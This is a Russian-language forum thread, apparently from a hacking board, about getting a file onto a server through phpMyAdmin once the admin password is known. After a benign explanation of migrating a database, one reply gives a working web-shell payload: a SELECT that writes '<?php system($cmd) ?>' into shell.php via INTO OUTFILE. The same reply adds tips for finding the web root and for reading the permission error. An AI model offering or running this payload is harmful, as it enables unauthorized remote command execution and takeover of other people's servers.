![]() |
phpmyadmin
можно ли както залить файл на сервер через phpMyadmin если известен пас на админку? если да то как?
|
можно
встречный вопрос - юзал поиск? |
можно попробывать через мускуль(into out file), конечно если есть file priv и подходяшая дира(с возможностью записи).
|
sadfeel
Если залить БД на сервер, то вариантов несколько; Если БД данными не сильно наполнена! То у себя локально делаешь дамп структура+данные, в случае если у тебя структура не создана на хостере, иначе просто данные. Заходишь в phpmyadmin , выбираешь свою БД, кликаешь на sql-запрос, копируешь содержимое своего дампа в окно запроса, корректишь имя БД или хоста, ну и жмешь кнопку "Пошел". Если БД заполнена данными конкретно. Делаешь дамп только структуры своей БД. Создаешь ее тем же phpmyadmin'ом у хостера. Делаешь у себя в локальной БД выгрузку данных обычным запросом: сколько таблиц, столько и файлов получишь. Потом эти файлы также можно загрузить в phpmyadmin, при помощи фичи - загрузка данных через файл. Если хостер позволяет удаленно подключаться тем же MySQL Front или MySQL CC, то можно прямо с API любого все сделать. Если залить шелл через PHPmyadmin, то можно попробывать зделать следующие: если есть права на запись, выполняй запрос Код:
SELECT '<?php system($cmd) ?>' FROM `table` INTO OUTFILE '/home/site/www/dir/shell.php'в phpmyadmin много способов узнать локальный путь например: какой-нибудь файл который обычно не вызывается на прямую а только инклудится, а поэтому можно попробовать select '<? phpinfo(); ?>' into outfile '/path_to_phpmyadmin/shell.php' Если пишет #1045 - Access denied for user 'name'@'localhost' (using password: YES) то значит нет прав на заливку. |
| Время: 16:19 |